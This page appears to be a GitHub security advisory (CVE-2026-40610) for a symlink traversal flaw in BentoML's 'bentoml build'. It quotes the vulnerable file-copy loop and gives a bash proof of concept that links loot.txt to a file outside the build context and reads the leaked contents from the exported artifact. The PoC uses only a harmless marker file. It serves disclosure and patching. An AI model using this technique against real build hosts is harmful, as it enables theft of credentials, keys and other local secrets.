GHSA-MCFX-4VC6-QGXV

Vulnerability from github – Published: 2026-05-07 16:39 – Updated: 2026-05-07 16:39
VLAI?
Summary
BentoML has Information Disclosure in `bentoml build` via symlink traversal in the build context
Details

Summary

BentoML's bentoml build packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact.

If a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as loot.txt -> /tmp/outside-marker.txt or a link to a more sensitive local file. When bentoml build runs, BentoML dereferences the symlink and packages the target file contents into the Bento. The leaked file can then propagate further through export, push, or containerization workflows.

Details

The vulnerable code walks files under the build context and copies each matched entry into the Bento source directory:

for root, _, files in os.walk(ctx_path):
    for f in files:
        dir_path = os.path.relpath(root, ctx_path)
        path = os.path.join(dir_path, f).replace(os.sep, "/")
        if specs.includes(path):
            src_file = ctx_path.joinpath(path)
            dst_file = target_fs.joinpath(dest_path)
            shutil.copy(src_file, dst_file)

There is no validation that the resolved path of src_file remains inside ctx_path before shutil.copy dereferences the source path. As a result, a repository-controlled symlink can cross the trust boundary from attacker-controlled repository content to developer/CI host filesystem during the build process.

This is a build-time path traversal / symlink traversal issue in the packaging feature, not a runtime API issue. The resulting Bento may later be exported, pushed to remote storage, or converted into a container image, which amplifies the leakage impact.

PoC

The issue was verified in WSL against BentoML 1.4.38. The following script reproduces the vulnerability by using a harmless marker file outside the build directory.

mkdir -p /tmp/bento-symlink-poc
cd /tmp/bento-symlink-poc

printf 'BENTOML_SYMLINK_POC_123456\n' > /tmp/outside-marker.txt

cat > service.py <<'EOF'
import bentoml

@bentoml.service
class Demo:
    @bentoml.api
    def ping(self, x: str) -> str:
        return x
EOF

cat > bentofile.yaml <<'EOF'
service: "service:Demo"
include:
  - "service.py"
  - "loot.txt"
EOF

ln -s /tmp/outside-marker.txt loot.txt

bentoml build --output tag
bentoml export demo:7pilrpjtlomelwct /tmp/poc.zip

mkdir -p /tmp/poc-unzip
unzip -o /tmp/poc.zip -d /tmp/poc-unzip
find /tmp/poc-unzip -name loot.txt -print
cat /tmp/poc-unzip/**/src/loot.txt 2>/dev/null || \
find /tmp/poc-unzip -path '*/src/loot.txt' -exec cat {} \;
  • The script creates /tmp/outside-marker.txt outside the build context as a stand-in for a sensitive local file.
  • It creates a minimal BentoML service and explicitly includes loot.txt in bentofile.yaml.
  • It creates loot.txt as a symlink to the external marker file. image

  • It runs bentoml build, exports the generated Bento, unzips it, and reads the packaged src/loot.txt.

  • Successful exploitation is confirmed when the packaged file contains BENTOML_SYMLINK_POC_123456, proving that BentoML copied the external file contents rather than keeping only the symlink. image

image

Impact

An attacker who can cause a developer, release engineer, or CI system to run bentoml build on an attacker-controlled repository can exfiltrate local files from the build host into the Bento artifact.

This can expose secrets such as cloud credentials, SSH keys, API tokens, environment files, or other sensitive local configuration. Because Bento artifacts are commonly exported, uploaded, stored, or containerized after build, the leaked file contents can spread beyond the original build machine.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.38"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "bentoml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.39"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40610"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T16:39:47Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nBentoML\u0027s `bentoml build` packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact.\n\nIf a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as `loot.txt -\u003e /tmp/outside-marker.txt` or a link to a more sensitive local file. When `bentoml build` runs, BentoML dereferences the symlink and packages the target file contents into the Bento. The leaked file can then propagate further through export, push, or containerization workflows.\n\n### Details\nThe vulnerable code walks files under the build context and copies each matched entry into the Bento source directory:\n\n```python\nfor root, _, files in os.walk(ctx_path):\n    for f in files:\n        dir_path = os.path.relpath(root, ctx_path)\n        path = os.path.join(dir_path, f).replace(os.sep, \"/\")\n        if specs.includes(path):\n            src_file = ctx_path.joinpath(path)\n            dst_file = target_fs.joinpath(dest_path)\n            shutil.copy(src_file, dst_file)\n```\n\nThere is no validation that the resolved path of `src_file` remains inside `ctx_path` before `shutil.copy` dereferences the source path. As a result, a repository-controlled symlink can cross the trust boundary from `attacker-controlled repository content` to `developer/CI host filesystem` during the build process.\n\nThis is a build-time path traversal / symlink traversal issue in the packaging feature, not a runtime API issue. The resulting Bento may later be exported, pushed to remote storage, or converted into a container image, which amplifies the leakage impact.\n\n### PoC\nThe issue was verified in WSL against BentoML 1.4.38. The following script reproduces the vulnerability by using a harmless marker file outside the build directory.\n\n```bash\nmkdir -p /tmp/bento-symlink-poc\ncd /tmp/bento-symlink-poc\n\nprintf \u0027BENTOML_SYMLINK_POC_123456\\n\u0027 \u003e /tmp/outside-marker.txt\n\ncat \u003e service.py \u003c\u003c\u0027EOF\u0027\nimport bentoml\n\n@bentoml.service\nclass Demo:\n    @bentoml.api\n    def ping(self, x: str) -\u003e str:\n        return x\nEOF\n\ncat \u003e bentofile.yaml \u003c\u003c\u0027EOF\u0027\nservice: \"service:Demo\"\ninclude:\n  - \"service.py\"\n  - \"loot.txt\"\nEOF\n\nln -s /tmp/outside-marker.txt loot.txt\n\nbentoml build --output tag\nbentoml export demo:7pilrpjtlomelwct /tmp/poc.zip\n\nmkdir -p /tmp/poc-unzip\nunzip -o /tmp/poc.zip -d /tmp/poc-unzip\nfind /tmp/poc-unzip -name loot.txt -print\ncat /tmp/poc-unzip/**/src/loot.txt 2\u003e/dev/null || \\\nfind /tmp/poc-unzip -path \u0027*/src/loot.txt\u0027 -exec cat {} \\;\n```\n\n- The script creates `/tmp/outside-marker.txt` outside the build context as a stand-in for a sensitive local file.\n- It creates a minimal BentoML service and explicitly includes `loot.txt` in `bentofile.yaml`.\n- It creates `loot.txt` as a symlink to the external marker file.\n\u003cimg width=\"1531\" height=\"648\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1312dcf0-74b0-4fb6-a05d-b68644470d82\" /\u003e\n\n- It runs `bentoml build`, exports the generated Bento, unzips it, and reads the packaged `src/loot.txt`.\n- Successful exploitation is confirmed when the packaged file contains `BENTOML_SYMLINK_POC_123456`, proving that BentoML copied the external file contents rather than keeping only the symlink.\n\u003cimg width=\"1315\" height=\"121\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6ed34f51-9b68-4fa9-8a42-011deb84d54e\" /\u003e\n\n\n\u003cimg width=\"1697\" height=\"760\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9b8a8ae5-4f06-46b4-9e4a-dee25cc5d203\" /\u003e\n\n\n### Impact\nAn attacker who can cause a developer, release engineer, or CI system to run `bentoml build` on an attacker-controlled repository can exfiltrate local files from the build host into the Bento artifact.\n\nThis can expose secrets such as cloud credentials, SSH keys, API tokens, environment files, or other sensitive local configuration. Because Bento artifacts are commonly exported, uploaded, stored, or containerized after build, the leaked file contents can spread beyond the original build machine.",
  "id": "GHSA-mcfx-4vc6-qgxv",
  "modified": "2026-05-07T16:39:47Z",
  "published": "2026-05-07T16:39:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-mcfx-4vc6-qgxv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bentoml/BentoML"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "BentoML has Information Disclosure in `bentoml build` via symlink traversal in the build context"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…